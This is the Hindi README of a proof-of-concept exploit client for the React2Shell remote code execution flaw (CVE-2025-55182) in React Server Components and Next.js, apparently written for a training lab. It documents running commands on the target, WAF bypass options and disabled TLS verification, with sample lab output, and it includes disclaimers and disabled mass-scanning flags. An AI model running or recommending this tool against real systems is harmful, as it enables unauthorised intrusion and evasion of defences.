React2Shell स्कैनर – PoC के साथ

CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell लैब के लिए शैक्षिक शोषण क्लाइंट।

यह रिपॉजिटरी React2Shell भेद्यता (CVE-2025-55182) के लिए एकल-होस्ट प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण उपकरण है, जो गलत तरीके से कॉन्फ़िगर किए गए React Server Components / Next.js अनुप्रयोगों को लक्षित करता है।

इसे केवल आधिकारिक Hidden Investigations React2Shell लैब या उन सिस्टमों के विरुद्ध उपयोग करने के लिए डिज़ाइन किया गया है जिनके आप स्वयं स्वामी/प्रशासक हैं।

---

⚠️ कानूनी और नैतिक अस्वीकरण

यह परियोजना कड़ाई से शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान के लिए प्रदान की गई है:

• इस उपकरण का उपयोग केवल निम्नलिखित पर करें:
  • आधिकारिक Hidden Investigations React2Shell लैब, या
  • ऐसे सिस्टम जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है।
• इसे यादृच्छिक वेबसाइटों, उत्पादन सिस्टमों, या ऐसे बुनियादी ढाँचे पर न लगाएँ जिन्हें आप नियंत्रित नहीं करते।
• लेखक और Hidden Investigations किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं।

इस उपकरण का उपयोग करके, आप सभी लागू कानूनों और विनियमों का पालन करने के लिए सहमत होते हैं।

---

विशेषताएँ

• 🔥 React2Shell शोषण क्लाइंट CVE-2025-55182 के लिए
• 🎯 एकल-होस्ट केंद्रित (कोई सामूहिक स्कैनिंग नहीं)
• 📡 कस्टम पथ और पथ सूचियों के लिए समर्थन
• 🧪 सुरक्षित जाँच मोड (कोई OS कमांड नहीं, केवल डिटेक्शन जाँच)
• 🪟 विंडोज-अनुकूल मोड (whoami डिफ़ॉल्ट)
• 🛡️ WAF बायपास सहायक:
  • जंक मल्टीपार्ट फ़ील्ड (--waf-bypass, --waf-bypass-size)
  • Vercel लेआउट ट्वीक (--vercel-waf-bypass)
• 🔐 TLS विकल्प (--insecure, कस्टम हेडर)
• 🧾 JSON आउटपुट (-o/--output, --all-results)
• 🧘 स्वच्छ शांत मोड आउटपुट (अन्य उपकरणों में पाइप करने के लिए उपयुक्त)

---

आवश्यकताएँ

• Python: 3.8+ (Python 3.10+ पर परीक्षित)
• निर्भरताएँ:
  • requests

निर्भरताएँ इस प्रकार स्थापित करें:

pip install -r requirements.txt

---

स्थापना

1. Hidden Investigations रिपॉजिटरी क्लोन करें:

git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc

2. (वैकल्पिक लेकिन अनुशंसित) वर्चुअलएनवी बनाएँ:

python3 -m venv venv
source venv/bin/activate   # विंडोज पर: venv\Scripts\activate

3. आवश्यकताएँ स्थापित करें:

pip install -r requirements.txt

4. उपकरण चलाएँ:

python3 react2shell-scanner.py -h

---

उपयोग

मूल सहायता:

python3 react2shell-scanner.py -h

इस उपकरण को लक्ष्य URL की आवश्यकता है:

python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# या
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

यदि आप इसे -t/--target या -u/--url के बिना चलाते हैं, तो यह एक ब्रांडेड सहायता संदेश प्रिंट करता है और बाहर निकल जाता है।

---

कमांड लाइन विकल्प

लक्ष्य और पथ

विकल्प	विवरण	डिफ़ॉल्ट
-t, --target	लक्ष्य URL या डोमेन (आवश्यक जब तक --url उपयोग न हो)	कोई नहीं
-u, --url	--target का उपनाम (Assetnote-शैली का फ़्लैग)	कोई नहीं
--path	परीक्षण करने के लिए पथ (एकाधिक बार उपयोग किया जा सकता है, जैसे /, /_next)	/
--path-file	परीक्षण करने के लिए पथों वाली फ़ाइल (प्रति पंक्ति एक)	कोई नहीं

ध्यान दें: यह PoC केवल एकल-होस्ट है। -l/--list विकल्प मौजूद है लेकिन जानबूझकर अक्षम किया गया है।

---

शोषण / पेलोड व्यवहार

विकल्प	विवरण	डिफ़ॉल्ट
-c, --command	लक्ष्य पर निष्पादित करने का कमांड (जब शोषण सफल हो)	id
--safe-check	SAFE_CHECK पेलोड का उपयोग करें (कोई OS कमांड नहीं, केवल एक मार्कर स्ट्रिंग)	बंद
--windows	विंडोज लक्ष्यों के लिए डिफ़ॉल्ट समायोजित करें (जैसे id होने पर whoami का उपयोग करें)	बंद
--waf-bypass	WAF से बचने के लिए अनुरोध बॉडी में एक बड़ा जंक मल्टीपार्ट फ़ील्ड जोड़ें	बंद
--waf-bypass-size KB	--waf-bypass के साथ उपयोग करने पर जंक फ़ील्ड का आकार KB में	128
--vercel-waf-bypass	Vercel WAF व्यवहार को ट्वीक करने के लिए वैकल्पिक मल्टीपार्ट लेआउट (सरलीकृत PoC)	बंद

---

HTTP / TLS विकल्प

विकल्प	विवरण	डिफ़ॉल्ट
--timeout SECONDS	अनुरोध टाइमआउट सेकंड में	15 (या 20 यदि --waf-bypass और कोई टाइमआउट सेट नहीं)
-k, --insecure	SSL सत्यापन अक्षम करें (curl -k जैसा)	बंद
-H, --header	कस्टम हेडर, जैसे -H "X-Forwarded-For: 127.0.0.1" (दोहराने योग्य)	कोई नहीं

---

आउटपुट / UX विकल्प

विकल्प	विवरण	डिफ़ॉल्ट
-o, --output FILE	JSON परिणाम FILE में लिखें	कोई नहीं
--all-results	--output के साथ उपयोग करने पर गैर-भेद्य परिणाम भी शामिल करें	बंद
-v, --verbose	वर्बोज़ मोड – HTTP स्थिति और X-Action-Redirect हेडर दिखाएँ	बंद
-q, --quiet	शांत मोड – सफलता पर केवल सामान्यीकृत कमांड आउटपुट प्रिंट करें	बंद
--no-color	रंगीन टर्मिनल आउटपुट अक्षम करें	बंद

शांत मोड उदाहरण (सुंदर, बहु-पंक्ति आउटपुट):

python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

आउटपुट:

total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

---

बल्क स्कैनिंग फ़्लैग (जानबूझकर अक्षम)

निम्नलिखित फ़्लैग Assetnote के CLI को मिरर करने के लिए मौजूद हैं, लेकिन इस PoC में लागू नहीं हैं ताकि सामूहिक स्कैनिंग के दुरुपयोग से बचा जा सके:

विकल्प	स्थिति
-l, --list	लागू नहीं
--threads N	लागू नहीं

यदि आप -l/--list का उपयोग करते हैं, तो उपकरण चेतावनी प्रिंट करेगा और बाहर निकल जाएगा, और बड़े पैमाने पर सुरक्षित स्कैनिंग के लिए Assetnote के मूल react2shell-scanner का उपयोग करने का सुझाव देगा।

---

उदाहरण

स्थानीय लैब पर चलाएँ:

python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

बड़े जंक फ़ील्ड के साथ WAF बायपास का उपयोग करें:

python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

एक ही होस्ट पर कई पथ:

python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

फ़ाइल से पथ:

python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

सुरक्षित जाँच मोड (कोई OS कमांड निष्पादित नहीं):